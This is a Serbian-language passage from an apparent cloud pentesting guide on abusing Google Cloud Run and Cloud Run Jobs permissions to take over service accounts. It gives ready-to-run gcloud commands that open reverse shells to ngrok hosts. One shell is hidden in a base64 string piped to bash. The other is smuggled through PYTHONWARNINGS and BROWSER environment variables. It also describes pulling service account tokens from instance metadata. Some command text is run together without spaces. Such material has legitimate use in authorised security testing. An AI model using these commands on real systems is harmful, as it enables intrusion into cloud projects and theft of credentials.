Napadač sa ovim dozvolama može kreirati run servis koji pokreće proizvoljan kod (proizvoljan Docker kontejner), pridružiti mu Service Account, i naterati kod da izfiltrira token Service Account-a iz metapodataka.
Skripta za eksploataciju ovog metoda može se pronaći ovde a Docker slika ovde.
Imajte na umu da prilikom korišćenja gcloud run deploy umesto samo kreiranja servisa potrebna je dozvola update. Pogledajte primer ovde.
run.services.update , iam.serviceAccounts.actAs
Slično prethodnom ali ažuriranje servisa:
gcloudrundeployhacked \--image=ubuntu:latest \--command=bash \--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNy50Y3AuZXUubmdyb2suaW8vMTQ4NDEgMD4mMQ== | base64 -d | bash" \--service-account="<proj-num>-compute@developer.gserviceaccount.com" \--region=us-central1 \--allow-unauthenticated# If you don't have permissions to use "--allow-unauthenticated", dont use it
run.services.setIamPolicy
Dodelite sebi prethodne dozvole nad cloud Run-om.
run.jobs.create, run.jobs.run, (run.jobs.get)
Pokrenite posao sa reverzibilnom ljuskom da biste ukrali nalog za usluge naveden u komandi. Možete pronaći eksploataciju ovde.
Zloupotrebite env promenljive izvršenja posla da biste izvršili proizvoljni kod i dobili obrnutu ljusku da biste ispumpali sadržaj kontejnera (izvorni kod) i pristupili SA unutar metapodataka:
gcloud beta run jobs execute job-name --region <region> --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"
çrun.jobs.setIamPolicy
Dodelite sebi prethodna ovlašćenja nad Cloud Jobs.